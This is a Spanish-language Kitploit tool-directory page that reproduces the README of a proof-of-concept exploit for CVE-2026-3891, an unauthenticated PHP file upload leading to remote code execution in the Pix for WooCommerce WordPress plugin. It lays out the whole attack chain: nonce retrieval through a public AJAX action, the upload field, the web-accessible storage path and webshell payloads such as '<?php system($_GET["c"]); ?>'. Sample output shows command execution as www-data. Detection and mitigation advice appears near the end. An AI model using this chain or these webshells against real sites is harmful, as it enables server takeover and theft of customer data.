Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-3891 — PoC para CVE-2026-3891 – RCE de carga de archivos no autenticada en Pix para WooCommerce ≤ 1.5.0. Obtención automática de nonce, carga de PHP y ejecución de comandos. | Kitploit
Herramientas/GitHubGitHub/ch4120n/cve-2026-3891
ExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC para CVE-2026-3891 – RCE de carga de archivos no autenticada en Pix para WooCommerce ≤ 1.5.0. Obtención automática de nonce, carga de PHP y ejecución de comandos.

Ver Repositorio
2hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚀 CVE-2026-3891 – Subida de Archivos no Autenticada con RCE en Pix for WooCommerce

Python Exploit CVE

GitHub stars GitHub issues License

Exploit de prueba de concepto para CVE-2026-3891 – subida arbitraria de archivos no autenticada que conduce a la ejecución remota de código en el plugin de WordPress Pix for WooCommerce (≤ 1.5.0).


📖 Resumen

CVE-2026-3891 es una vulnerabilidad crítica en el plugin Pix for WooCommerce, que afecta a todas las versiones hasta la . El plugin no aplica las comprobaciones adecuadas de autorización y tipo de archivo en su manejador AJAX . Un atacante no autenticado puede abusar de esta falla para subir archivos PHP arbitrarios a un directorio de acceso público y lograr la ejecución remota de código en el servidor WordPress subyacente.

1.5.0
lkn_pix_for_woocommerce_c6_save_settings

Este repositorio contiene un PoC de nivel de producción que automatiza toda la cadena de ataque, desde la obtención de un nonce válido hasta la subida de una webshell, con una gestión robusta de errores y una atractiva interfaz CLI.

🔍 Características principales

  • Realmente no autenticado – no se requieren credenciales de WordPress ni cookies de sesión.
  • Extracción automática de nonce – el exploit obtiene el nonce de seguridad necesario a través de la misma interfaz AJAX pública.
  • Subida de archivos multipart – construye correctamente el parámetro de archivo certificate_crt_path que espera el manejador vulnerable.
  • Generación directa de URL – proporciona inmediatamente la URL pública del payload subido.
  • Comprobaciones post-explotación – verificación opcional del éxito de la subida y ejecución de comandos sobre la marcha (--check).
  • Gestión avanzada de errores – maneja correctamente Cloudflare, WAFs, tiempos de espera y respuestas malformadas.
  • Salida limpia e informativa – todos los mensajes llevan el prefijo [ * ], [ + ], [ - ], [ ! ] para una legibilidad inmediata.

🧬 Detalles de la vulnerabilidad

La causa raíz reside en dos acciones AJAX registradas por el plugin:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Esta acción está vinculada a wp_ajax_nopriv_*, lo que la hace accesible para visitantes no autenticados. Genera un nonce para la acción lkn_pix_for_woocommerce_c6_settings_nonce y lo devuelve en un envoltorio JSON:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

No se realiza ninguna comprobación de privilegios ni autenticación de usuario: cualquiera puede solicitar un nonce válido.

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Este manejador guarda la configuración del plugin, incluido un campo de subida de archivos llamado certificate_crt_path. Aunque la subida se realiza a través de la función auxiliar media_handle_upload de WordPress, el plugin no:

  • Verifica que la solicitud provenga de un usuario autenticado y autorizado (falta current_user_can).
  • Aplica restricciones de tipo o extensión de archivo (p. ej., permite archivos .php).
  • Almacena el archivo en una ubicación no ejecutable; termina en:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    que es directamente accesible a través de la web.

Dado que el nonce solo protege contra CSRF y cualquiera puede obtenerlo, un atacante puede encadenar estas dos acciones para subir y ejecutar código PHP arbitrario.

Versiones afectadas

  • Pix for WooCommerce versiones ≤ 1.5.0
  • La vulnerabilidad se ha confirmado en instalaciones limpias de WordPress con configuraciones predeterminadas.

Impacto

  • Ejecución remota de código – acceso completo de webshell con los privilegios del servidor web (normalmente www-data o apache).
  • Exfiltración de datos – leer wp-config.php, credenciales de la base de datos, datos de clientes.
  • Persistencia – modificar archivos del núcleo, plantar backdoors.
  • Toma de control total del sitio – escalar a administrador de WordPress si la base de datos es accesible.

🛠️ Requisitos de explotación

  • Acceso a la red al sitio WordPress objetivo (sin necesidad de autenticación).
  • Python 3.8+ con la librería requests (instalar con pip install requests).
  • El objetivo debe tener instalado y activo el plugin vulnerable (la configuración predeterminada es suficiente).

🚀 Uso

Instalación

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Comando básico

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

Para un mayor control, utiliza las opciones de línea de comandos:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Ejemplo de salida

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opciones de línea de comandos

FlagDescripciónPor defecto
target (posicional)URL base del sitio de WordPress.Requerido
-f, --filenameNombre del archivo PHP a subir.woocommerce.php
-p, --payloadCódigo PHP a subir.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutTiempo de espera de la solicitud en segundos.15
-r, --retriesReintentos máximos para la obtención del nonce.2
--no-bannerSuprime el arte ASCII.(desactivado)
--no-verifyOmite la comprobación de accesibilidad tras la subida.(desactivado)
--checkEjecuta id en la webshell tras la subida.(desactivado)

🧪 Detalles técnicos para detección y ajuste

Endpoint de generación de nonce

  • URL: http://target/wp-admin/admin-ajax.php
  • Acción: lkn_pix_for_woocommerce_generate_nonce
  • Parámetro: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • Respuesta: {"success":true,"data":{"nonce":"..."}}
  • Nota: el nonce siempre se puede obtener porque la acción está registrada con wp_ajax_nopriv_*. No se necesita cookie ni sesión.

Parámetros de subida de archivos

  • URL: el mismo admin-ajax.php
  • Acción: lkn_pix_for_woocommerce_c6_save_settings
  • Campos requeridos:
    • _ajax_nonce – el nonce obtenido anteriormente
    • certificate_crt_path – una subida de archivo multipart (el payload)
  • Tipo de archivo: el plugin no valida la extensión, por lo que los archivos .php se aceptan y se almacenan sin renombrar.

Ruta de almacenamiento pública

Tras una subida exitosa, el archivo reside en:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

Este directorio es directamente accesible desde la web; los archivos PHP se ejecutarán si el servidor web está configurado para procesarlos (que es el valor predeterminado en los servidores gestionados por WordPress).

Indicadores de compromiso (IoCs)

  • Archivos PHP inesperados que aparecen en el directorio certs_c6 (especialmente archivos como woocommerce.php, shell.php, etc.).
  • Solicitudes POST inusuales a admin-ajax.php con las acciones mencionadas, originadas desde IPs no confiables.
  • Registros de acceso que muestren accesos directos a .../certs_c6/ con parámetros de consulta como ?cmd=id.

🛡️ Detección y mitigación

Detección

Supervisa los registros de WordPress para detectar:

  • Solicitudes POST repetidas a /wp-admin/admin-ajax.php con action=lkn_pix_for_woocommerce_generate_nonce y action=lkn_pix_for_woocommerce_c6_save_settings.
  • La creación de nuevos archivos en la carpeta certs_c6. Utiliza una herramienta de monitorización de integridad de archivos (p. ej., Tripwire, OSSEC) para alertar sobre cambios.
  • Registros del servidor web que muestren la ejecución de archivos PHP en ese directorio desde IPs externas.

Mitigación

  1. Actualiza el plugin – busca una versión >1.5.0 que contenga el parche oficial (si se ha publicado).
  2. Aplica un parche virtual – bloquea el acceso a las acciones AJAX vulnerables con una regla de WAF (p. ej., ModSecurity, Cloudflare WAF).
  3. Restringe la ejecución de archivos – si el plugin es necesario, configura tu servidor web para denegar la ejecución de PHP dentro del directorio certs_c6 (p. ej., usando .htaccess con php_flag engine off).
  4. Refuerza los manejadores AJAX – si mantienes el plugin, asegúrate de que ambas acciones solo sean accesibles para usuarios autenticados y autorizados (current_user_can('manage_options') para la generación del nonce, y una verificación adecuada del nonce junto con una comprobación de privilegios para la subida).
  5. Desactiva el plugin – si Pix for WooCommerce no es esencial, elimínalo por completo.

👏 Créditos

  • Desarrollo del exploit y PoC: Ch4120N
  • Análisis de vulnerabilidad: investigación de seguridad independiente

📄 Licencia

Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

Aviso legal: esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. El autor no se hace responsable de ningún uso indebido o daño causado por este software.


📚 Referencias

  • NIST NVD – CVE-2026-3891
  • Repositorio de plugins de WordPress – Pix for WooCommerce (consulta el changelog para ver las versiones corregidas)
  • Base de datos de vulnerabilidades de Patchstack / WPScan (si la entrada existe)

⭐ Soporte

Si te resulta útil este PoC, considera darle una ⭐ en GitHub y compartirlo de forma responsable. ¡Las contribuciones, incidencias y pull requests son bienvenidas!


¡Feliz hacking! 🛡️

Descargar herramienta